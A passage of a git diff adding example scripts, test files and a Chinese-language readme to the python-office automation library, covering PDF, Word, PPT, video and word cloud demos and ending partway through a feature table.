"b/examples/popdf/test_files/add_mark/\347\250\213\345\272\217\345\221\230\346\231\232\346\236\253\357\274\210\346\262\241\345\212\240\346\260\264\345\215\260\357\274\211.pdf" new file mode 100644 index 0000000..4110415 Binary files /dev/null and "b/examples/popdf/test_files/add_mark/\347\250\213\345\272\217\345\221\230\346\231\232\346\236\253\357\274\210\346\262\241\345\212\240\346\260\264\345\215\260\357\274\211.pdf" differ diff --git "a/examples/popdf/test_files/decrypt4pdf/\347\250\213\345\272\217\345\221\230\346\231\232\346\236\253\357\274\210\344\275\234\345\223\201\345\220\210\351\233\206\357\274\211.pdf" "b/examples/popdf/test_files/decrypt4pdf/\347\250\213\345\272\217\345\221\230\346\231\232\346\236\253\357\274\210\344\275\234\345\223\201\345\220\210\351\233\206\357\274\211.pdf" new file mode 100644 index 0000000..4110415 Binary files /dev/null and "b/examples/popdf/test_files/decrypt4pdf/\347\250\213\345\272\217\345\221\230\346\231\232\346\236\253\357\274\210\344\275\234\345\223\201\345\220\210\351\233\206\357\274\211.pdf" differ diff --git "a/examples/popdf/test_files/encrypt4pdf/\347\250\213\345\272\217\345\221\230\346\231\232\346\236\253\357\274\210\344\275\234\345\223\201\345\220\210\351\233\206\357\274\211.pdf" "b/examples/popdf/test_files/encrypt4pdf/\347\250\213\345\272\217\345\221\230\346\231\232\346\236\253\357\274\210\344\275\234\345\223\201\345\220\210\351\233\206\357\274\211.pdf" new file mode 100644 index 0000000..4110415 Binary files /dev/null and "b/examples/popdf/test_files/encrypt4pdf/\347\250\213\345\272\217\345\221\230\346\231\232\346\236\253\357\274\210\344\275\234\345\223\201\345\220\210\351\233\206\357\274\211.pdf" differ diff --git "a/examples/popdf/test_files/pdf2docx/output/\347\250\213\345\272\217\345\221\230\346\231\232\346\236\253.docx" "b/examples/popdf/test_files/pdf2docx/output/\347\250\213\345\272\217\345\221\230\346\231\232\346\236\253.docx" new file mode 100644 index 0000000..b639a59 Binary files /dev/null and "b/examples/popdf/test_files/pdf2docx/output/\347\250\213\345\272\217\345\221\230\346\231\232\346\236\253.docx" differ diff --git "a/examples/popdf/test_files/pdf2docx/\347\250\213\345\272\217\345\221\230\346\231\232\346\236\253.pdf" "b/examples/popdf/test_files/pdf2docx/\347\250\213\345\272\217\345\221\230\346\231\232\346\236\253.pdf" new file mode 100644 index 0000000..1dfe32d Binary files /dev/null and "b/examples/popdf/test_files/pdf2docx/\347\250\213\345\272\217\345\221\230\346\231\232\346\236\253.pdf" differ diff --git "a/examples/popdf/test_files/txt2pdf/\347\250\213\345\272\217\345\221\230\346\231\232\346\236\253.txt" "b/examples/popdf/test_files/txt2pdf/\347\250\213\345\272\217\345\221\230\346\231\232\346\236\253.txt" new file mode 100644 index 0000000..b282df0 --- /dev/null +++ "b/examples/popdf/test_files/txt2pdf/\347\250\213\345\272\217\345\221\230\346\231\232\346\236\253.txt" @@ -0,0 +1,11 @@ +公众号:程序员晚枫 +小红书:程序员晚枫 +知乎:程序员晚枫 +抖音:程序员晚枫 +快手:程序员晚枫 +B站:程序员晚枫 + + +个人网站:www.python-office.com + +技术答疑群:http://www.python4office.cn/wechat-group/ \ No newline at end of file diff --git "a/examples/popdf/\345\220\210\345\271\266PDF.py" "b/examples/popdf/\345\220\210\345\271\266PDF.py" new file mode 100644 index 0000000..bcae6bf --- /dev/null +++ "b/examples/popdf/\345\220\210\345\271\266PDF.py" @@ -0,0 +1,17 @@ +# -*- coding: UTF-8 -*- +''' +@作者 :B站/抖音/微博/小红书/公众号,都叫:程序员晚枫,微信:CoderWanFeng +@读者群 :http://www.python4office.cn/wechat-group/ +@学习网站 :https://www.python-office.com +@代码日期 :2023/7/18 22:08 +@本段代码的视频说明 : +''' +# 导入这个库:python-office,简写为office +import office + +#一行代码,合并pdf +office.pdf.merge2pdf(one_by_one=['程序员晚枫.pdf', '一键三连.pdf'], output='走起.pdf') + +#参数作用: +# one_by_one = 是个列表,里面是2个pdf文件,合并后,a在前面,b在后面 +# output = 合并后的pdf名字,不能为空 \ No newline at end of file diff --git a/examples/poppt/merge4ppt.py b/examples/poppt/merge4ppt.py new file mode 100644 index 0000000..cad405b --- /dev/null +++ b/examples/poppt/merge4ppt.py @@ -0,0 +1,19 @@ +# -*- coding: UTF-8 -*- +''' +@作者 :B站/抖音/微博/小红书/公众号,都叫:程序员晚枫 +@读者群 :http://www.python4office.cn/wechat-group/ +@个人网站 :www.python-office.com +@Date :2023/5/25 23:34 +@Description : +''' + +# 集成使用 +import office + +input_path = r"./test_files/merge4ppt" +office.ppt.merge4ppt(input_path) + +# 独立使用 +# import poppt +# +# poppt.merge4ppt(input_path, output_path=r'./output') diff --git a/examples/poppt/ppt2img.py b/examples/poppt/ppt2img.py new file mode 100644 index 0000000..550a30d --- /dev/null +++ b/examples/poppt/ppt2img.py @@ -0,0 +1,29 @@ +# -*- coding: UTF-8 -*- +''' +@作者 :B站/抖音/微博/小红书/公众号,都叫:程序员晚枫,微信:CoderWanFeng +@读者群 :http://www.python4office.cn/wechat-group/ +@学习网站 :https://www.python-office.com +@代码日期 :2023/7/18 23:12 +@本段代码的视频说明 : +''' + +# pip install python-office +import office + +office.ppt.ppt2img(input_path=r'./test_files/ppt2img/程序员晚枫-2.pptx', + output_path=r'./test_files/ppt2img/output', + merge=True) + +""" +PPT转图片 +Args: + input_path: 存放PPT的位置, + 转换单个文件 → 可以写文件的路径 + 转换单个文件 → 写文件夹的路径 + output_path: 结果图片的存储位置,可以不写,默认代码目录 + merge: True → 转为1张图片 + False → PPT有多少张,就转为多少张图片 + +Returns: None + +""" diff --git a/examples/poppt/ppt2pdf.py b/examples/poppt/ppt2pdf.py new file mode 100644 index 0000000..d0c1f9f --- /dev/null +++ b/examples/poppt/ppt2pdf.py @@ -0,0 +1,19 @@ +# -*- coding: UTF-8 -*- +''' +@作者 :B站/抖音/微博/小红书/公众号,都叫:程序员晚枫,微信:CoderWanFeng +@读者群 :http://www.python4office.cn/wechat-group/ +@学习网站 :https://www.python-office.com +@代码日期 :2023/7/18 22:45 +@本段代码的视频说明 :https://www.bilibili.com/video/BV17Y411c792 +''' + +""" +微信:hdylw1024 + +""" +# 导入库:python-office,简写为:office +import office + +# 填入你的ppt目录 +office.ppt.ppt2pdf(path=r'./test_files/ppt2pdf/程序员晚枫.pptx', + output_path=r'./test_files/ppt2pdf/output') diff --git "a/examples/poppt/test_files/merge4ppt/\347\250\213\345\272\217\345\221\230\346\231\232\346\236\253-1.pptx" "b/examples/poppt/test_files/merge4ppt/\347\250\213\345\272\217\345\221\230\346\231\232\346\236\253-1.pptx" new file mode 100644 index 0000000..00ac94a Binary files /dev/null and "b/examples/poppt/test_files/merge4ppt/\347\250\213\345\272\217\345\221\230\346\231\232\346\236\253-1.pptx" differ diff --git "a/examples/poppt/test_files/merge4ppt/\347\250\213\345\272\217\345\221\230\346\231\232\346\236\253-2.pptx" "b/examples/poppt/test_files/merge4ppt/\347\250\213\345\272\217\345\221\230\346\231\232\346\236\253-2.pptx" new file mode 100644 index 0000000..497af83 Binary files /dev/null and "b/examples/poppt/test_files/merge4ppt/\347\250\213\345\272\217\345\221\230\346\231\232\346\236\253-2.pptx" differ diff --git "a/examples/poppt/test_files/ppt2img/output/\347\250\213\345\272\217\345\221\230\346\231\232\346\236\253-2.jpg" "b/examples/poppt/test_files/ppt2img/output/\347\250\213\345\272\217\345\221\230\346\231\232\346\236\253-2.jpg" new file mode 100644 index 0000000..7e09de2 Binary files /dev/null and "b/examples/poppt/test_files/ppt2img/output/\347\250\213\345\272\217\345\221\230\346\231\232\346\236\253-2.jpg" differ diff --git "a/examples/poppt/test_files/ppt2img/\347\250\213\345\272\217\345\221\230\346\231\232\346\236\253-2.pptx" "b/examples/poppt/test_files/ppt2img/\347\250\213\345\272\217\345\221\230\346\231\232\346\236\253-2.pptx" new file mode 100644 index 0000000..497af83 Binary files /dev/null and "b/examples/poppt/test_files/ppt2img/\347\250\213\345\272\217\345\221\230\346\231\232\346\236\253-2.pptx" differ diff --git "a/examples/poppt/test_files/ppt2pdf/output/\347\250\213\345\272\217\345\221\230\346\231\232\346\236\253.pdf" "b/examples/poppt/test_files/ppt2pdf/output/\347\250\213\345\272\217\345\221\230\346\231\232\346\236\253.pdf" new file mode 100644 index 0000000..1fff768 Binary files /dev/null and "b/examples/poppt/test_files/ppt2pdf/output/\347\250\213\345\272\217\345\221\230\346\231\232\346\236\253.pdf" differ diff --git "a/examples/poppt/test_files/ppt2pdf/\347\250\213\345\272\217\345\221\230\346\231\232\346\236\253.pptx" "b/examples/poppt/test_files/ppt2pdf/\347\250\213\345\272\217\345\221\230\346\231\232\346\236\253.pptx" new file mode 100644 index 0000000..00ac94a Binary files /dev/null and "b/examples/poppt/test_files/ppt2pdf/\347\250\213\345\272\217\345\221\230\346\231\232\346\236\253.pptx" differ diff --git a/examples/poprogress/simple.py b/examples/poprogress/simple.py new file mode 100644 index 0000000..b2f6cf5 --- /dev/null +++ b/examples/poprogress/simple.py @@ -0,0 +1,13 @@ +# -*- coding: UTF-8 -*- +''' +@作者 :B站/抖音/微博/小红书/公众号,都叫:程序员晚枫 +@读者群 :http://www.python4office.cn/wechat-group/ +@个人网站 :www.python-office.com +@Date :2023/3/25 17:38 +@Description : +''' + +from poprogress import simple_progress + +for i in simple_progress(range(10000000), desc='当前进度'): + pass diff --git a/examples/porobot/chat.py b/examples/porobot/chat.py new file mode 100644 index 0000000..b03fd1a --- /dev/null +++ b/examples/porobot/chat.py @@ -0,0 +1,13 @@ +# -*- coding: UTF-8 -*- +''' +@作者 :B站/抖音/微博/小红书/公众号,都叫:程序员晚枫,微信:CoderWanFeng +@读者群 :http://www.python4office.cn/wechat-group/ +@学习网站 :https://www.python-office.com +@代码日期 :2023/7/30 2:57 +@本段代码的视频说明 : +''' + +import porobot + +# print(porobot.normal.chat("写首古诗")) +print(porobot.normal.chat("你是谁")) diff --git a/examples/povideo/mark2video.py b/examples/povideo/mark2video.py new file mode 100644 index 0000000..dd697a3 --- /dev/null +++ b/examples/povideo/mark2video.py @@ -0,0 +1,11 @@ +# -*- coding: UTF-8 -*- +''' +@作者 :B站/抖音/微博/小红书/公众号,都叫:程序员晚枫,微信:CoderWanFeng +@读者群 :http://www.python4office.cn/wechat-group/ +@学习网站 :https://www.python-office.com +@代码日期 :2023/8/28 0:48 +@本段代码的视频说明 : +''' +import office + +office.video.mark2video(video_path=r'D:\download\baiduyun\图片添加水印.mp4', output_path=r'D:\download\baiduyun\out') diff --git "a/examples/poword/doc\345\222\214docx\344\272\222\350\275\254.py" "b/examples/poword/doc\345\222\214docx\344\272\222\350\275\254.py" new file mode 100644 index 0000000..bb114b0 --- /dev/null +++ "b/examples/poword/doc\345\222\214docx\344\272\222\350\275\254.py" @@ -0,0 +1,15 @@ +# -*- coding: UTF-8 -*- +''' +@作者 :B站/抖音/微博/小红书/公众号,都叫:程序员晚枫,微信:CoderWanFeng +@读者群 :http://www.python4office.cn/wechat-group/ +@学习网站 :https://www.python-office.com +@代码日期 :2023/7/16 5:41 +@本段代码的视频说明 :https://www.bilibili.com/video/BV1so4y1H7rj +''' + +# pip install python-office 一定要成功哦~ +import office + +office.word.docx2doc(input_path, output_path) + +office.word.doc2docx(input_path, output_path) diff --git "a/examples/poword/test_files/docx2pdf/\345\260\217\347\272\242\344\271\246-\347\250\213\345\272\217\345\221\230\346\231\232\346\236\253.pdf" "b/examples/poword/test_files/docx2pdf/\345\260\217\347\272\242\344\271\246-\347\250\213\345\272\217\345\221\230\346\231\232\346\236\253.pdf" new file mode 100644 index 0000000..80b42eb Binary files /dev/null and "b/examples/poword/test_files/docx2pdf/\345\260\217\347\272\242\344\271\246-\347\250\213\345\272\217\345\221\230\346\231\232\346\236\253.pdf" differ diff --git "a/examples/poword/test_files/docx2pdf/\346\212\226\345\277\253-\347\250\213\345\272\217\345\221\230\346\231\232\346\236\253.pdf" "b/examples/poword/test_files/docx2pdf/\346\212\226\345\277\253-\347\250\213\345\272\217\345\221\230\346\231\232\346\236\253.pdf" new file mode 100644 index 0000000..5b86f36 Binary files /dev/null and "b/examples/poword/test_files/docx2pdf/\346\212\226\345\277\253-\347\250\213\345\272\217\345\221\230\346\231\232\346\236\253.pdf" differ diff --git "a/examples/poword/test_files/docx2pdf/\347\237\245\344\271\216-\347\250\213\345\272\217\345\221\230\346\231\232\346\236\253.pdf" "b/examples/poword/test_files/docx2pdf/\347\237\245\344\271\216-\347\250\213\345\272\217\345\221\230\346\231\232\346\236\253.pdf" new file mode 100644 index 0000000..a6ff738 Binary files /dev/null and "b/examples/poword/test_files/docx2pdf/\347\237\245\344\271\216-\347\250\213\345\272\217\345\221\230\346\231\232\346\236\253.pdf" differ diff --git "a/examples/poword/test_files/\345\260\217\347\272\242\344\271\246-\347\250\213\345\272\217\345\221\230\346\231\232\346\236\253.docx" "b/examples/poword/test_files/\345\260\217\347\272\242\344\271\246-\347\250\213\345\272\217\345\221\230\346\231\232\346\236\253.docx" new file mode 100644 index 0000000..98a298b Binary files /dev/null and "b/examples/poword/test_files/\345\260\217\347\272\242\344\271\246-\347\250\213\345\272\217\345\221\230\346\231\232\346\236\253.docx" differ diff --git "a/examples/poword/test_files/\346\212\226\345\277\253-\347\250\213\345\272\217\345\221\230\346\231\232\346\236\253.docx" "b/examples/poword/test_files/\346\212\226\345\277\253-\347\250\213\345\272\217\345\221\230\346\231\232\346\236\253.docx" new file mode 100644 index 0000000..98a298b Binary files /dev/null and "b/examples/poword/test_files/\346\212\226\345\277\253-\347\250\213\345\272\217\345\221\230\346\231\232\346\236\253.docx" differ diff --git "a/examples/poword/test_files/\347\237\245\344\271\216-\347\250\213\345\272\217\345\221\230\346\231\232\346\236\253.docx" "b/examples/poword/test_files/\347\237\245\344\271\216-\347\250\213\345\272\217\345\221\230\346\231\232\346\236\253.docx" new file mode 100644 index 0000000..98a298b Binary files /dev/null and "b/examples/poword/test_files/\347\237\245\344\271\216-\347\250\213\345\272\217\345\221\230\346\231\232\346\236\253.docx" differ diff --git "a/examples/poword/word\350\275\254PDF.py" "b/examples/poword/word\350\275\254PDF.py" new file mode 100644 index 0000000..8e5388a --- /dev/null +++ "b/examples/poword/word\350\275\254PDF.py" @@ -0,0 +1,15 @@ +# -*- coding: UTF-8 -*- +''' +@作者 :B站/抖音/微博/小红书/公众号,都叫:程序员晚枫,微信:CoderWanFeng +@读者群 :http://www.python4office.cn/wechat-group/ +@学习网站 :https://www.python-office.com +@代码日期 :2023/7/15 0:35 +@本段代码的视频说明 : +''' + +# pip install python-office +import office + +office.word.docx2pdf( + path=r'D:\workplace\code\github\python-office\demo\poword\test_files', + output_path=r'D:\workplace\code\github\python-office\demo\poword\test_files\docx2pdf') diff --git "a/examples/poword/\345\220\210\345\271\266word.py" "b/examples/poword/\345\220\210\345\271\266word.py" new file mode 100644 index 0000000..5b30951 --- /dev/null +++ "b/examples/poword/\345\220\210\345\271\266word.py" @@ -0,0 +1,14 @@ +# -*- coding: UTF-8 -*- +''' +@作者 :B站/抖音/微博/小红书/公众号,都叫:程序员晚枫,微信:CoderWanFeng +@读者群 :http://www.python4office.cn/wechat-group/ +@学习网站 :https://www.python-office.com +@代码日期 :2023/7/16 5:38 +@本段代码的视频说明 :https://mp.weixin.qq.com/s/PjQJ3s4Arr872NDfcr-7YA +''' + +# 下载方式:pip install python-office +import office + +office.word.merge4docx(input_path=r'D:\程序员晚枫的文件夹\word-in', + output_path=r'D:\程序员晚枫的文件夹\word-out') \ No newline at end of file diff --git a/examples/pydatav/txt2wordcloud/res.jpg b/examples/pydatav/txt2wordcloud/res.jpg new file mode 100644 index 0000000..f18ed03 Binary files /dev/null and b/examples/pydatav/txt2wordcloud/res.jpg differ diff --git a/examples/pydatav/txt2wordcloud/test.txt b/examples/pydatav/txt2wordcloud/test.txt new file mode 100644 index 0000000..344f3ec --- /dev/null +++ b/examples/pydatav/txt2wordcloud/test.txt @@ -0,0 +1,127 @@ +Owner avatar +PyOfficeRobot +Public +CoderWanFeng/PyOfficeRobot + 2 branches + 10 tags +Your main branch isn't protected +Protect this branch from force pushing or deletion, or require status checks before merging. Learn more + +Latest commit +@heyWFeng +heyWFeng add 收集群消息 +f88b34d +13 minutes ago +Git stats + 88 commits +Files +Type +Name +Latest commit message +Commit time +.idea +publish 0.1.3 : 修复微信发文件崩溃的问题 +4 months ago +PR +publish 0.1.12👉智能聊天:https://mp.weixin.qq.com/s/vJXMChkO2tCUEXpq8LlNCg +2 weeks ago +PyOfficeRobot +update README.md +last week +demo +update README.md +last week +dev +add 收集群消息 +13 minutes ago +docs/文章配图 +publish 0.1.12👉智能聊天:https://mp.weixin.qq.com/s/vJXMChkO2tCUEXpq8LlNCg +2 weeks ago +tests +publish 0.1.9 : 解决了微信更新后,不能发消息和文件的问题 +last month +.gitignore +忽略script文件夹 +last year +LICENSE +Initial commit +last year +README.md +update README.md +1 hour ago +requirements.txt +publish 0.1.12👉智能聊天:https://mp.weixin.qq.com/s/vJXMChkO2tCUEXpq8LlNCg +2 weeks ago +setup.cfg +update README.md +last week +setup.py +update author info +10 months ago +README.md + + +👉 项目官网 👈 + +👉 本开源项目的交流群 👈 + +github star gitee star + +又一个微信聊天机器人横空出世了,人人可用! +之前给大家分享过一个微信机器人:一个15分钟的视频,教你用Python创建自己的微信聊天机器人! + +但是之前这个机器人,需要基于网页版才能用(有网页版微信的同学,还可以去继续用);然而很多朋友的微信,是不能登录网页版微信的。 + +有没有一种微信机器人,任何人的微信都可以用,不需要网页微信功能呢? + +在经过技术检索和开发以后,支持所有微信使用的:PyOfficeRobot来啦~ + +1、安装PyOfficeRobot +1行命令,安装PyOfficeRobot这个库。安装视频 + +pip install -i https://mirrors.aliyun.com/pypi/simple/ PyOfficeRobot -U +2、功能演示 +⭐本机器人完全免费,全部功能的演示视频 + 项目源码:Github、gitee +序号 方法名 功能 视频 文档 代码 +1 🔥项目发布 播放 待编辑 打开 +2 send_message 自动发消息 播放 待编辑 打开 +3 send_file 自动发文件 播放 待编辑 打开 +4 chat_by_keywords 根据关键词,自动回复 播放 待编辑 打开 +5 send_message_by_time ⌚定时自动发消息 播放 待编辑 打开 +6 自己加功能 播放 待编辑 打开 +7 ⭐独立使用 播放 待编辑 打开 +8 get_group_list 收集群信息 播放 有BUG,待修复 打开 +9 发消息如何换行? 播放 待编辑 打开 +10 chat_by_gpt 微信 + ChatGPT 播放 待编辑 打开 +11 add 批量加好友 播放 有BUG,待修复 打开 +12 send 批量群发 播放 待编辑 打开 +13 chat_robot 智能聊天 播放 待编辑 打开 +持续更新中,交流群:点我加入 + +微信机器人-其它实现方式 +功能说明 视频 代码 +机器人.exe 点我直达 +ChatGPT版本 点我直达 点我直达 +⌚wxpy-24小时,后台运行 点我直达 点我直达 +企业微信机器人 点我直达 +3、功能Demo +我最近开源了这个库的全部源代码,功能正在开发中,欢迎大家参与开发~ + +演示代码 +4、开发者 +昵称 贡献 时间 +雷杰 解决了微信更新后,不能发送消息和文件的问题 2023/7/6 00:30 + + +⭐Star +Stargazers over time + +📕拓展资料 + + + + + + + + diff --git "a/examples/pydatav/\346\225\260\346\215\256\345\217\257\350\247\206\345\214\226-\346\226\207\347\253\240\350\275\254\345\233\276\344\272\221.py" "b/examples/pydatav/\346\225\260\346\215\256\345\217\257\350\247\206\345\214\226-\346\226\207\347\253\240\350\275\254\345\233\276\344\272\221.py" new file mode 100644 index 0000000..2079a8f --- /dev/null +++ "b/examples/pydatav/\346\225\260\346\215\256\345\217\257\350\247\206\345\214\226-\346\226\207\347\253\240\350\275\254\345\233\276\344\272\221.py" @@ -0,0 +1,15 @@ +# -*- coding: UTF-8 -*- +''' +@作者 :B站/抖音/微博/小红书/公众号,都叫:程序员晚枫,微信:CoderWanFeng +@读者群 :http://www.python4office.cn/wechat-group/ +@学习网站 :https://www.python-office.com +@代码日期 :2023/8/9 23:25 +@本段代码的视频说明 : +''' +import pydatav + +if __name__ == '__main__': + filename = r'.\txt2wordcloud\test.txt' + color = 'black' + result_file = r'.\txt2wordcloud\res.jpg' + pydatav.image.txt2wordcloud(filename, color, result_file) diff --git a/examples/readme.md b/examples/readme.md new file mode 100644 index 0000000..0fa19c1 --- /dev/null +++ b/examples/readme.md @@ -0,0 +1,336 @@ +## 视频教程 + +

+ + + +

+ + + + +

+ + github star + + + gitee star + + + + + + + +

+ + + + +以下[绿色](https://mp.weixin.qq.com/s/-mlsV7PFc27JElOTCskMsg)文字,均可点击直达👇持续更新中🚀 + +## 0、下载和安装 + +| 序号 | 功能 | 视频 | 下载地址 | +|----|------------|---------------------------------------------------|-----------------------------------------------------------| +| 1 | ❤项目发布 | [播放](https://www.bilibili.com/video/BV1pT4y1k7FH) | [Python官网](https://pypi.org/project/python-office/) | +| 2 | 安装python环境 | [播放](https://www.bilibili.com/video/BV1Q44y1u7rV) | [下载软件](https://mp.weixin.qq.com/s/ktmQafdstwep_A5vae_Ymw) | + +## 1、Word + 自动化办公 = poword + +| 序号 | 方法名 | 功能 | 视频 | 文档 | 演示代码 | + |----|-------------------|---------------|---------------------------------------------------|---------------------------------------------------------|-------------------------------------------------------------------------------------------------------------------| +| 1 | merge4docx | 合并Word文档 | [播放](https://www.bilibili.com/video/BV1Vo4y1q7i3) | [查看](https://mp.weixin.qq.com/s/PjQJ3s4Arr872NDfcr-7YA) | [打开](https://github.com/CoderWanFeng/python-office/blob/master/demo/poword/%E5%90%88%E5%B9%B6word.py) | +| 2 | docx2doc/doc2docx | doc和docx,互相转换 | [播放](https://www.bilibili.com/video/BV1so4y1H7rj) | [查看](https://mp.weixin.qq.com/s/nyg_LlkHPwx1AY7wCg5KTw) | [打开](https://github.com/CoderWanFeng/python-office/blob/master/demo/poword/doc%E5%92%8Cdocx%E4%BA%92%E8%BD%AC.py) | +| 3 | docx2pdf | word 转 pdf | [播放](https://www.bilibili.com/video/BV1pT4y1k7FH) | [查看](https://mp.weixin.qq.com/s/Kfmu8vCSr6otGfrf7mj0bA) | [打开](https://github.com/CoderWanFeng/python-office/blob/master/demo/poword/word%E8%BD%ACPDF.py) | + +## 2、Excel + 自动化办公 = poexcel + +| 序号 | 方法名 | 功能 | 视频 | 文档 | 演示代码 | +|----|-----------------------|---------------------------------|---------------------------------------------------|-----------------------------------------------------------------------|-------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------| +| 1 | fake2excel | 批量生成Excel数据 | [播放](https://www.bilibili.com/video/BV1wr4y1b7uk) | [查看]([待编辑](https://mp.weixin.qq.com/s/xVwEjXu58WovgSi4ZTtVQw)) | [打开](https://github.com/CoderWanFeng/python-office/blob/master/demo/poexcel/%E6%89%B9%E9%87%8F%E6%A8%A1%E6%8B%9F%E6%95%B0%E6%8D%AE.py) | +| 2 | merge2excel | 合并多个Excel到一个Excel的不同sheet中 | [播放](https://www.bilibili.com/video/BV1714y147Ao) | [查看](https://mp.weixin.qq.com/s/3ZhZZfGlpNhszCWnOBeklg) | [打开](https://github.com/CoderWanFeng/python-office/blob/master/demo/poexcel/%E5%90%88%E5%B9%B6%E5%A4%9A%E4%B8%AAExcel%E5%88%B0%E4%B8%80%E4%B8%AAExcel%E7%9A%84%E4%B8%8D%E5%90%8Csheet%E4%B8%AD.py) | +| 3 | sheet2excel | 同一个excel里的不同sheet,拆分为不同的excel文件 | [播放](https://www.bilibili.com/video/BV1714y147Ao) | [查看](https://mp.weixin.qq.com/s/dAx6JEbj5OlVnCcxokCzTQ) | [打开](https://github.com/CoderWanFeng/python-office/blob/master/demo/poexcel/%E5%90%8C%E4%B8%80%E4%B8%AAexcel%E9%87%8C%E7%9A%84%E4%B8%8D%E5%90%8Csheet%EF%BC%8C%E6%8B%86%E5%88%86%E4%B8%BA%E4%B8%8D%E5%90%8C%E7%9A%84excel%E6%96%87%E4%BB%B6.py) | +| 4 | find_excel_data | 根据内容查询Excel | [播放](https://www.bilibili.com/video/BV1Bd4y1B7yr) | [查看](https://mp.weixin.qq.com/s/NAfh6ooO_9haALMsF8Jf5w) | [打开](https://github.com/CoderWanFeng/python-office/blob/master/demo/poexcel/%E6%A0%B9%E6%8D%AE%E5%86%85%E5%AE%B9%EF%BC%8C%E6%9F%A5%E8%AF%A2Excel.py) | +| 5 | excel2pdf | Excel转PDF | [播放](https://www.bilibili.com/video/BV1A84y1N7or) | [查看](https://mp.weixin.qq.com/s/9cobekrIrR7BnUzfepv6Tg) | [打开](https://github.com/CoderWanFeng/python-office/blob/master/demo/poexcel/Excel%E8%BD%ACPDF.py) | +| 6 | query4excel | 把100个Excel中符合条件的数据,汇总到1个Excel里 | [播放](https://www.bilibili.com/video/BV1Hs4y1S7TT) | [查看](https://mp.weixin.qq.com/s/TmglyiAILV5k6Een6EnqtA) | [打开](https://github.com/CoderWanFeng/python-office/blob/master/demo/poexcel/%E6%8A%8A100%E4%B8%AAExcel%E4%B8%AD%E7%AC%A6%E5%90%88%E6%9D%A1%E4%BB%B6%E7%9A%84%E6%95%B0%E6%8D%AE%EF%BC%8C%E6%B1%87%E6%80%BB%E5%88%B01%E4%B8%AAExcel%E9%87%8C.py) | +| 7 | count4page | 统计Excel打印出来有多少页 | 待录制 | [查看](https://blog.csdn.net/weixin_42321517/article/details/131218163) | [打开](https://github.com/CoderWanFeng/python-office/blob/master/demo/poexcel/%E7%BB%9F%E8%AE%A1Excel%E6%89%93%E5%8D%B0%E5%87%BA%E6%9D%A5%E6%9C%89%E5%A4%9A%E5%B0%91%E9%A1%B5.py) | +| 8 | merge2sheet | 多个sheet,根据指定的列,合并成1个 | 待录制 | 待编辑 | [打开](https://github.com/CoderWanFeng/python-office/blob/master/demo/poexcel/合并2个Excel的内容到一个sheet中.py) | +| 9 | split_excel_by_column | 根据指定的列,拆分Excel到不同的sheet | 待录制 | 待编辑 | [打开](https://github.com/CoderWanFeng/python-office/blob/master/demo/poexcel/根据指定的列,拆分excel.py) | + +## 3、PDF + 自动化办公 = popdf + +| 序号 | 方法名 | 功能 | 视频 | 文档 | 演示代码 | +|----|---------------|--------------|------------------------------------------------------|-------------------------------------------------------------------------------------------------------------------------------------------|--------------------------------------------------------------------------------------------------------------| +| 1 | add_watermark | PDF加水印 | [播放](https://www.bilibili.com/video/BV1Se411T7au) | [查看](https://mp.weixin.qq.com/s?__biz=MzI2Nzg5MjgyNg==&mid=2247496501&idx=1&sn=1c2c8f2590ea355f82e24336a0a0aae0&scene=21#wechat_redirect) | [打开](https://github.com/CoderWanFeng/python-office/blob/master/demo/popdf/PDF%E5%8A%A0%E6%B0%B4%E5%8D%B0.py) | +| 2 | txt2pdf | TXT转PDF | 待录制 | [查看](https://mp.weixin.qq.com/s?__biz=MzI2Nzg5MjgyNg==&mid=2247496561&idx=1&sn=843d9c491177d9558c11897ca7c4c221&scene=21#wechat_redirect) | [打开](https://github.com/CoderWanFeng/python-office/blob/master/demo/popdf/TXT%E8%BD%ACPDF.py) | +| 3 | encrypt4pdf | PDF加密 | 待录制 | [查看](https://blog.csdn.net/weixin_42321517/article/details/129963432) | [打开](https://github.com/CoderWanFeng/python-office/blob/master/demo/popdf/PDF%E5%8A%A0%E5%AF%86.py) | +| 4 | decrypt4pdf | PDF解密 | 待录制 | [查看](https://mp.weixin.qq.com/s?__biz=MzI2Nzg5MjgyNg==&mid=2247496561&idx=1&sn=843d9c491177d9558c11897ca7c4c221&scene=21#wechat_redirect) | [打开](https://github.com/CoderWanFeng/python-office/blob/master/demo/popdf/PDF%E8%A7%A3%E5%AF%86.py) | +| 5 | merge2pdf | 合并PDF | 待录制 | [查看](https://mp.weixin.qq.com/s?__biz=MzI2Nzg5MjgyNg==&mid=2247496589&idx=2&sn=2519406d2afc795e7a2f346659f87cb7&scene=21#wechat_redirect) | [打开](https://github.com/CoderWanFeng/python-office/blob/master/demo/popdf/%E5%90%88%E5%B9%B6PDF.py) | +| 6 | pdf2docx | 💻PDF 转 Word | 💻 [播放](https://www.bilibili.com/video/BV19D4y1i7Eu) | [查看](https://mp.weixin.qq.com/s?__biz=MzUzNTc5NjA4NQ==&mid=2247493574&idx=1&sn=8d7b6dbe12330e67a3dd06085aa65cac&scene=21#wechat_redirect) | [打开](https://github.com/CoderWanFeng/python-office/blob/master/demo/popdf/pdf%E8%BD%ACword.py) | +| 7 | pdf2imgs | PDF 转 图片 | 💻待录制 | [查看](https://mp.weixin.qq.com/s/s3oi0jNOpolT7lLQEjCNTw) | [打开](https://github.com/CoderWanFeng/python-office/blob/master/demo/popdf/pdf%E8%BD%AC%E5%9B%BE%E7%89%87.py) | + +## 4、PPT + 自动化办公 = poppt + +| 序号 | 方法名 | 功能 | 视频 | 文档 | 演示代码 | +|----|-----------|---------|----------------------------------------------------|-------------------------------------------------------------------------------------------------------------------------------------------|-----------------------------------------------------------------------------------------| +| 1 | ppt2pdf | PPT转PDF | [播放](https://www.bilibili.com/video/BV17Y411c792) | [查看](https://mp.weixin.qq.com/s?__biz=Mzg3MDU3OTgxMg==&mid=2247490934&idx=1&sn=0634b8342b1fe693ae5b4f72187509e6&scene=21#wechat_redirect) | [打开](https://github.com/CoderWanFeng/python-office/blob/master/demo/poppt/ppt2pdf.py) | +| 2 | ppt2img | PPT转图片 | [播放](https://www.bilibili.com/video/BV1pu411Y7zz/) | [查看](https://mp.weixin.qq.com/s/mrx85Tf8WB9u76Mht2nUxA) | [打开](https://github.com/CoderWanFeng/python-office/blob/master/demo/poppt/ppt2img.py) | +| 3 | merge4ppt | 合并PPT | 待录制 | [查看](https://mp.weixin.qq.com/s/FZOcvCJLsZlAbYhySZyQMQ) | [打开](https://github.com/CoderWanFeng/python-office/blob/master/demo/poppt/merge4ppt.py) | + +## 5、文件 + 自动化办公 = pofile + +| 序号 | 方法名 | 功能 | 视频 | 文档 | 